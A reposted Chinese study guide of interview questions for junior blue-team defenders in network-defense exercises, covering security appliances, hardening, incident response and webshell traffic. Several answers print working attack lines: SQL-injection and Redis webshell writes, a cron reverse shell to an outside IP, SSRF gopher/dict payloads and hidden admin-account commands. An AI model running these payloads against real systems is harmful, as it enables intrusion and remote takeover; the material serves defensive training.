2023年护网蓝队初级面试总结

news2025/1/11 23:59:51

00.护网面试步骤是什么样的

投递简历-安全服务公司HR先筛选一下简历,交给技术负责人面试一下,推荐给安全厂商(360、奇安信、安恒、绿盟)

安全设备厂商HR筛选一下简历,安全设备厂商安排技术笔试和面试(技术负责人和项目负责人筛选和面试)。

面试通过,安全设备厂商安排项目地是甲方公司(如某银行,某证券公司等),甲方客户也有可能需要面试一下技术。

01.护网岗位分类

护网面试岗位监控岗、研判岗、应急和溯源岗位等。分为初级、中级、高级岗位。

根据甲方需求,分为 3 组:监测组、处置组、应急保障和溯源反制组。

①监测组主要监测设备,监控判断不出来告警,交给研判,若确认未成功的真实攻击,提交ip和告警截图给处置组封禁ip,若需要应急,需提交给处置单给应急人员;

②处置组,封禁ip以及甲方自有人员自有设备处置;

③应急保障和溯源反制组,应急拿到处置单,先和处置组建群沟通,根据处置单,提出处置建议,让处置组操作或者客户授权后操作;溯源根据提供的攻击ip和钓鱼邮件进行溯源和反制。
 

1.设备误报如何处理? 

来自外网的误报说明安全设备需要进行策略升级,不需要处置。

如果是来自内网的误报可以和负责人协商一下看能不能解决,有必要的话添加白名单处理。

2.如何区分扫描流量和手工流量?

1.扫描流量数据量大,请求流量有规律可循且频率较高,手工流量请求少,间隔略长

2.使用工具扫描的流量一般在数据包中有相关特征信息,比如说通过wireshark网络封包分析工具对流量进行一个具体的排查分析,比如通过http  contains  "xxx"来查找数据包中的关键字。

比如常用的漏洞扫描工具AWVS,Nessus以及APPscan在请求的URL,Headers, Body三项里随机包含了能代表自己的特征信息。

3.网站被上传webshell如何处理?

1.首先关闭网站,下线服务。有必要的话将服务器断网隔离。

2.手工结合工具进行检测。

  • 工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。
  • 手工方面对比未上传webshell前的备份文件,从文件甚至代码层面进行对比,检查有无后门程序或者其他异常文件,实在不行就直接用备份文件替换了。

3.加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施。

4.给你一个比较大的日志,应该如何分析?

  • 攻击规则匹配通过正则匹配日志中的攻击请求
  • 统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
  • 白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
  • HMM 模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求
  • 使用日志分析工具,如LogForensics,Graylog,Nagios,ELK Stack等等

5.常见OA系统?

PHP:通达OA、泛微 Eoffice

Java:泛微OA/云桥、致远OA、蓝凌OA、用友OA

ASP:启莱OA

6.了解安全设备吗?

入侵防御系统IPS

  • 是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。

入侵检测系统IDS

  • 积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,尽可能地发现网络攻击行为,积极主动的处理攻击,保证网络资源的机密性,完整性和可用性。

防火墙

  • 防火墙是位于两个(或多个)网络间,实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。

数据库审计系统

  • 是对数据库访问行为进行监管的系统,通过镜像或者探针的方式采集所有数据库的访问流量,并基于SQL语法,语义的解析技术,记录下对数据库所有访问和操作行为,例如访问数据的用户IP,账号,时间等等,对数据进行操作的行为等等。

日志审计系统

  •  日志审计系统能够通过主被动结合的手段,实时且不间断的采集用户网络中不同厂商的安全设备,网络设备,主机,操作系统以及各种应用系统产生的海量日志信息,并将这些信息汇集到审计中心,进行集中化存储,备份,查询,审计,告警,响应,并出具丰富的报表报告,获悉全网的整体安全运行态势,同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。

堡垒机

  • 是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。

漏洞扫描系统

  • 漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。

数据安全态势感知平台

  • 以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。

终端安全管理系统

  • 是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。

WAF

  • WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。

蜜罐

  • 蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。

7.了解过系统加固吗?

账户安全

  • windows
  • 比如设置登录时不显示上次登录的用户名,防止弱口令爆破。
  • 设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
  • linux
  • 禁用root之外的超级用户   使用password  -l   <用户名>命令来锁定用户   -u解锁
  • 限制普通用户使用sudo提权,或者说限制提权的权限大小
  • 锁定系统中多余的自建账号
  • 设置账户锁定登录失败锁定次数,锁定时间   faillog   -u   <用户名>命令来解锁用户

口令安全

  • windows
  • 设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备
  • 设置最小密码长度不能为0,设置不能使用历史密码
  • linux
  • 检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim  /etc/login.def命令

服务与端口收敛

  • 关闭或者限制常见的高危端口,比如说22端口(SSH),23端口(Telnet),3389端口(RDP)
  • compmgmt.msc排查计划任务
  • linux上iptables封禁IP或者限制端口

文件权限管理

  • linux上chmod修改文件权限  chattr重要文件设置不可修改权限

系统日志审计

  • linux上设置系统日志策略配置文件
  • 系统日志 /var/log/message
  • cron日志/var/log/cron
  • 安全日志/var/log/secure

设备和网络控制

  • 比如在涉密计算机上禁止访问外网,为了避免用户绕过策略可以禁止用户修改IP
  • 删除默认路由配置,避免利用默认路由探测网络
  • 禁止使用USB设备比如U盘
  • 禁止ping命令,即禁用ICMP协议访问,不让外部ping通服务器

8.CS是什么东西,知道怎么使用吗?

简介

  • CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。

功能

  • CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木 马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。

 使用

  • 一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。

9.WAF方面有没有了解过,清楚WAF的分类和原理吗?

分类:

  • WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。

原理:

  • Web应用防火墙是通过执行一系列针对HTTP或者HTTPS的安全策略来专门为Web应用提供保护的一款产品。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

10.Powershell了解过吗?

简介

  • PowerShell 是一种命令行外壳程序和脚本环境,主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。

使用

  • 常见的操作 pwd   ls   cd   mkdir   rm
  • get-process获取所有进程信息
  • get-date获取当前时间信息
  • get-host获取当前主机信息
  • 然后就是使用PowersSploit(基于Powershell的后渗透框架软件,包括了很多Power shell攻击脚本,主要用于渗透中的信息收集,权限提升,权限维持)的时候在Powshell上使用过一些下载和运行攻击脚本的命令。

11.MSF是什么?知道怎么使用吗?

简介:

  • Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。

模块:

  • Auxiliary(辅助模块)
  • 为渗透测试信息搜集提供了大量的辅助模块支持
  • Exploits(攻击模块)
  • 利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
  • Payload(攻击载荷模块)
  • 攻击成功后促使靶机运行的一段植入代码
  • Post (后渗透攻击模块)
  • 收集更多信息或进一步访问被利用的目标系统
  • Encoders(编码模块)
  • 将攻击载荷进行编码,来绕过防护软件拦截

使用:

  • 首先利用Auxiliary辅助探测模块扫描,嗅探,指纹识别相关漏洞,然后确认漏洞存在使用Exploit漏洞利用模块对漏洞进行利用,包括设置payload攻击载荷,设置本机监听等等。漏洞利用成功目标主机就会通过设置的端口主动连接,产生会话。进而可以进行后渗透。

功能:

  • 木马免杀,抓取用户密码,关闭杀毒软件,屏幕截图,新建账号,远程登录,迁移进程,提权操作,网络嗅探,端口转发 ,内网代理,内网扫描,生成后门,清除日志等等。

12.SQL注入怎么写入webshell?

条件:

  • 知道web绝对路径
  • 有文件写入权限(一般情况只有ROOT用户有)
  • 数据库开启了secure_file_priv设置

然后就能用select into outfile写入webshell

常见手法:

联合注入写入

?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#


dumpfile函数写入

?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#


lines terminated by 写入

?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
//lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。


lines starting by 写入

?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
//利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。


fields terminated by 写入

?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。


columns terminated by 写入

?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。


sqlmap写入

写:(要写的文件,必须在kali本机里有)
写入到 /tmp 目录下 
 sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username'  --file-write="shell.php"  --file-dest="/tmp/shell.php"

13.了解过反序列化漏洞吗?

原理:

        序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式,反序列化则与其相反,即将字节序列转化为对象供程序使用。程序在进行反序列化时会调用一些函数,比如常见的PHP反序列化函数unserialize()以及一些常见的魔术方法,比如构造函数_construct(),析构函数_destruct(),_wakeup(),_toString(),_sleep()等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列化后传入函数中,从而导致反序列化漏洞。

Java反序列化

Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是

1,创建一个对象输出流

2,通过对象输出流的ReadObject()方法来读取对象

14.常见的框架漏洞?

log4j远程代码执行漏洞

  • 原理:
  • Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到`${`后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。
  • 具体操作:
  • 在正常的log处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行        

Fastjson反序列化漏洞

  • 判断:
  • 正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。
  • 原理:
  • fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
  • 无回显怎么办:
  • 1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果
  • 2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
  • 3.直接将命令执行结果回显到请求Poc的HTTP响应中

Shiro反序列化漏洞

  • 原理:
  • Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
  • 判断:
  • 1.数据返回包中包含rememberMe=deleteMe字段。
  • 2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:****rememberMe=然后查看返回数据包中是否存在关键字。
  • shiro-550:
  • shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。
  • shiro-721:
  • 不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。

15.了解过redis数据库和常见的漏洞吗?

redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。利用手段主要有:

1.向root权限账户写入ssh公钥文件,直接免密登录服务器。(受害者redis非root权限运行会报错)

  • 条件:
  • 服务器存在.ssh目录且具有写入的权限
  • 原理:
  • 在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

2.写入webshell

  • 条件:
  • 已知web绝对路径。
  • 步骤:
  • 1.  redis  -cli   -h   192.168.x.x   连接目标服务器
  • 2.  config set dir  "/var/www/html"    设置保存文件路径
  • 3.  config  set dbfilename  shell.php   设置保存文件名
  • 4.  set x  "\n\n<?php @eval($_POST['cmd']); ?>\n"   将webshell写入x键值中
  • 5.  save    保存
  • 局限:
  • 1.服务器处于内网,写入webshell后我们的公网IP无法连接
  • 2.服务器IP地址不固定
  • 3.6379端口不允许入方向
  • 4.上传webshell可能直接被杀毒软件删除

3.反弹连接shell

  • 设置监听端口,常用的工具1.msf   2.netcat    3.socat
  • 利用msf设置监听步骤:
  • 1.  use exploit/multi/handler
  • 2.  set payload  generic/shell_reverse_tcp
  • 3.  set lhost 192.168.x.x   默认监听端口为4444
  • 4.  run

 4.定时任务反弹shell

  • 步骤:
  • 定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。分     时     天   月    周     user-name(用户)    command(命令)            比如每过一分钟向root用户的定时任务中写入反弹连接命令
  • (1) config set dir /var/spool/cron/              //目录切换到定时任务的文件夹中
  • (2) config set dbfilename root                 //设置保存文件名
  • (3)set x  "\n  *  *  * *  * bash   -i    >&    /dev/tcp/192.168.96.222/7777    0>&1\n"    //将反弹shell写入x键值中
  • (4)save    //保存

 利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制

理由如下:

1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行
2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.两个系统的定时任务文件目录不同

 利用主从复制getshell

条件:

版本(4.x~5.0.5)

原理:

数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。

利用工具:

RedisRogueServer

地址:

https://github.com/n0b0dyCN/redis-rogue-server

使用工具的命令:

python3   redis-rogue-server.py   --rhost=x.x.x.x   --lhost=x.x.x.x   --exp=exp.so

两种使用方法:

交互式

反弹式

限制:

利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用

redis未授权访问漏洞的防范措施:

1.添加登录密码

2.修改默认端口

3.关闭端口

4.禁止以root用户权限启动,以低权限启动redis服务

16.SSRF怎么结合Redis相关漏洞利用?

主要通过两种协议,dict协议和gopher协议。

dict协议利用redis相关漏洞:

探测端口:

ssrf.php?url=dict://x.x.x.x:$端口$   利用burpsuite爆破端口

探测是否设置弱口令:

ssrf.php?url=dict://x.x.x.x:6379/info     已知端口利用info探测是否设置了密码

爆破密码:

ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$     利用burpsuite爆破密码

写入webshell:

1.  url=dict://xxx.xxx:6379/config:set:dir:/var/www/html   切换文件目录
2.  url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php   设置保存文件名
3.  url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"     //利用dict协议写入webshell   以上的字符编码是<?php phpinfo();?>的十六进制
4.  url=dict://x.x.x.x:6379/save   保存
1.  url=dict://xxx.xxx:6379/config:set:dir:/var/www/html   切换文件目录

2.  url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php   设置保存文件名

3.  url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"

//利用dict协议写入webshell   以上的字符编码是<?php phpinfo();?>的十六进制

4.ssrf.php?url=dict://x.x.x.x:6379/save   保存

dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似

gopher协议利用redis未授权访问漏洞写入webshell:

常规利用步骤:

set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"
config set dir /var/www/html  
config set dbfilename shell.php
save

两次url编码后构造url:

http://192.168.1.1/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%30%25%32%30%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35


//第一次url解码和第二次url解码 

//同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似

17.windows应急响应时排查分析的相关细节?

可疑账号排查  lusrmgr.msc

1.检查服务器是否有弱口令。比如空口令或者密码复杂度不够。

2.高危端口是否对外开放,比如SSH服务22端口,RDP服务3389端口等。

3.查看服务器是否有可疑账号。

手工方面:lusrmgr.msc命令查看用户和组,查看是否有新增账号,隐藏账号,克隆账号。
工具方面:比如利用D盾等工具来检测隐藏账号。
4.结合日志分析  eventvwr.msc  查看管理员登录时间,相关事件是否有异常。

敏感事件ID:

4624 登录成功
4625 登录失败
4672 使用超级管理员进行登录
4720 创建用户
5.使用query user查看当前系统的会话,比如查看是否有人使用远程登录服务器。

可疑进程和服务排查   taskmgr    services.msc

1.查看CPU,内存,网络等资源是否有可疑状况。比如CPU占用率过高可能是中了挖矿病毒,磁盘空间大量占用可能是脚本或病毒大量生成和复制隐藏文件。

2.检查进程名

某些进程名是大量随机的情况,比如hrlC3.tmp、hrlD5.tmp、hrl6.tmp、hrlEE.tmp等多个名字相似的进程,基本上可以断定是异常进程。
异常进程名伪装成系统进程或者说常见服务的进程名,此时可以通过进程描述来判断,并且需要手工对比。
3.检查进程和服务描述,修改时间或者数字签名是否有异常。

4.利用工具进行检测,比如Process Hunter或者火绒剑等专门针对进程服务信息的排查分析工具,主要查看的是公司名,描述,安全状态和启动类型等方面来排查。

 可疑启动项排查  msconfig

1.  msconfig或者任务管理器中的启动项查看名称,发布者和启动影响,以及右键查看属性来看数字签名和修改时间。

2.  结合工具进行排查,比如火绒剑等工具,会将启动项分类为登录,驱动程序,计划任务,映像劫持等,利用分析排查

 可疑文件排查

1.各个磁盘的Temp/tmp目录中是Windows产生的临时文件,查看有无异常文件。

2.Recent目录会记录最近打开的文档以及程序的相关记录。

3.查看文件的创建时间,修改时间和访问时间,比如说攻击者利用菜刀等工具对文件进行修改会改变修改时间,如果修改时间在创建时间之前,那就是很明显的可疑文件。

4.windows系统我的电脑快速访问,可以看到最近使用的文件,比如说图片或者压缩包等文件的使用历史和文件路径都会显示。

 恶意样本排查

1.恶意样本指的一般是webshell,病毒,木马或者后门程序或文件,可以根据设备的告警信息来查找相关路径,再排查相关的进程和启动项。

2.不知道路径的话可以利用相关的安全设备来进行检测,比如说通过D盾,河马查杀等工具对webshell可能存在的目录进行一个排查查杀,利用常规的防火墙软件来对全盘或者可疑目录扫描病毒。

18.常见的webshell连接工具流量?

中国菜刀

连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。

然后还有一段以QG开头,7J结尾的固定代码。

蚁剑

默认的user-agent请求头是antsword xxx,不过可以修改。

一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有@ini_set("display","0");这段代码。

冰蝎

php代码中可能存在eval,assert等关键词,jsp代码中可能会有getclass(),getclassLoader()等字符特征。

冰蝎2.0

第一阶段请求中返回包的状态码是200,返回内容是16位的密钥。建立连接后的cookie格式都是Cookie:PHPSessid=xxxx ;path=/;特征。

冰蝎3.0

请求包中的conten-length字段是5740或者5720,然后请求头也具有特征信息,不过这个比较长,没有记住。

哥斯拉

1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。

2.在响应包的cache-control字段中有no-store,no-cache等特征。

3.所有请求中的cookie字段最后面都存在;特征。

19.常用的外围打点工具有哪些? 

 

20.描述一下外围打点的基本流程? 

五个步骤,分别是靶标确认、信息收集、漏洞探测、利用漏洞和获取权限,最终要得到的是获取靶标的系统权限进而获得关键数据。

21.怎么识别CDN?

  • 使用ping命令看回显
  • 使用nslookup查询域名解析,看域名解析情况
  • 使用超级ping工具,像Tools,all-toll.cn等。

22.怎么判断靶标站点是Windows还是Linux? 

  • 通过ping靶机,看返回的TTL值,Windows大于100、Linux小于100的
  • 看大小写,Linux区别大小写,Windows则不分。

23.举常见的FOFA在外围打点过程中的查询语句? 

  • 漏洞方面:body=“Index of/”(列目录漏洞)
  • 框架:body=“icon-spring-boot-admin.svg"(Spring Boot Admin)
  • 子域名:host="x.cn"
  • 后台挖掘:title="后台” && body=“password" && host="x.cn"

24.常见的未授权访问漏洞有哪些? 

  • Active MQ 未授权访问
  • Atlassian Crowd 未授权访问
  • CouchDB 未授权访问
  • Docker 未授权访问
  • Dubbo 未授权访问
  • Druid 未授权访问
  • Elasticsearch 未授权访问
  • FTP 未授权访问
  • Hadoop 未授权访问
  • JBoss 未授权访问
  • Jenkins 未授权访问
  • Jupyter Notebook 未授权访问
  • Kibana 未授权访问
  • Kubernetes Api Server 未授权访问
  • LDAP 未授权访问
  • MongoDB 未授权访问
  • Memcached 未授权访问
  • NFS 未授权访问
  • Rsync 未授权访问
  • Redis 未授权访问
  • RabbitMQ 未授权访问
  • Solr 未授权访问
  • Spring Boot Actuator 未授权访问
  • Spark 未授权访问
  • VNC 未授权访问
  • Weblogic 未授权访问
  • ZooKeeper 未授权访问
  • Zabbix 未授权访问

25.文件上传功能的监测点有哪些? 

  • 客户端的JS检测(主要检测文件名后缀)
  • 服务端检测(MINE类型检测、文件后缀名、文件格式头)

26.常见的中间件有哪些?常见都有哪些相关漏洞? 

  • IIS:解析漏洞、短文件名枚举、远程代码执行、PUT漏洞
  • Apache:解析漏洞、目录遍历、shiro反序列化漏洞
  • Nginx:解析漏洞、目录遍历、CRLF注入、目录穿越
  • Tomcat:示例目录、远程代码执行、反向路径遍历、war后门文件部署
  • Jboss:反序列化、war后门文件部署
  • web Logic:反序列化、SSRF任意文件上传

27.介绍一下SQL注入种类? 

  • 提交方式分为:GET型、POST型、Cookie型
  • 注入点分为:数字型、字符串型、搜索型
  • 运行结果分为:基于时间的盲注、基于报错、基于布尔的盲注、基于数字

28.Windows常用的命令有哪些? 

  • ping:检查网络联通
  • ipconfig:查看ip地址
  • dir:显示当前文件夹的内容
  • net user:查看用户
  • netstat:查看端口
  • tasklist:查看进程列表
  • find:搜索文件中的字符串

29.Linux常见的命令有哪些? 

  • ls:显示当前文件夹的内容
  • ifconfig:查看ip地址
  • whoami:查看用户
  • netstat:查看端口
  • ps:查看进程列表
  • grep:文件中搜索字符串
  • crontal:检查定时任务

30.在Windows靶标站点如何建立隐藏用户?

  • net user xiaofeng$ 112233 /add (建立隐藏用户xiaofeng)
  • net localgroup administrators xiaofeng$ /add (将隐藏用户xiaofeng加入管理员用户组)

31.正向shell喝反向shell的区别是什么?

内外网区别,正向shell是攻击者处于内网,被攻击者处于公网;而方向shell是攻击者处于外网,被攻击者处于内网,且是被攻击主动连接攻击者。

32.连接不了MySQL数据库站点的原因有哪些? 

  • 3306端口没有对外开放
  • MySQL默认端口被修改(最常见)
  • 站库分离

33.那些漏洞经常被用于打点?

  • 边界网络设备资产跟弱口令结合
  • 上传漏洞
  • Log4j
  • Apache Shiro漏洞
  • Fastjson漏洞

34.常见的端口和渗透方式简单描述一下? 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/561298.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kubernetes高可用集群二进制部署(Runtime Docker)v1.21版本

Kubernetes高可用集群二进制部署&#xff08;Runtime Docker&#xff09; Kubernetes&#xff08;简称为&#xff1a;k8s&#xff09;是Google在2014年6月开源的一个容器集群管理系统&#xff0c;使用Go语言开发&#xff0c;用于管理云平台中多个主机上的容器化的应用&#xf…

chatgpt赋能Python-python_num怎么用

Python Num怎么用&#xff1f;一个有10年Python编程经验的工程师来告诉你 Python是一种被广泛应用的编程语言&#xff0c;它的发展历程已经超过了20年。而其中的NumPy库则成为了Python编程中最重要的一部分之一。NumPy是一个Python库&#xff0c;它提供了大量针对数字的操作函…

AI宝典:AI超强工具大整合

&#x1f604;&#x1f604;个人介绍 光子郎.进行开发工作七年以上&#xff0c;目前涉及全栈领域并进行开发。会经常跟小伙伴分享前沿技术知识&#xff0c;java后台、web前端、移动端&#xff08;Android&#xff0c;uniapp&#xff0c;小程序&#xff09;相关的知识以及经验体…

微服务实战项目-学成在线-项目介绍以及环境搭建

学成在线-项目介绍&环境搭建 1.项目背景 1.1 在线教育市场环境 以下内容摘自https://report.iresearch.cn/content/2021/01/358854.shtml 在线教育行业是一个有着极强的广度和深度的行业&#xff0c;从校内到校外&#xff1b;从早幼教到职业培训&#xff1b;从教育工具…

Prometheus(普罗米修斯)

Prometheus : 入门 Prometheus简介Prometheus 的主要特点Prometheus架构&#xff1a;什么时候用它合适什么时候用它不合适Prometheus VS InfluxDB基本概念数据模型metric types&#xff08;指标类型&#xff09; Prometheus 安装部署二进制安装部署1、将安装包prometheus-2.6.1…

stable-diffusion-webui(1.2.1版本) win10系统本地电脑部署

在安装stable-diffusion-webui(1.2.1版本)之前需要确认win10本地电脑具有的环境 1.显卡类型&#xff1a;NVIDIA&#xff08;英伟达&#xff09; 建议显存高于4G以上&#xff0c;这样512*512的还是可以运行的 2.python(版本必须最好是3.10.6&#xff09;和 git最新版 正式…

【MySQL高级篇笔记 (上) 】

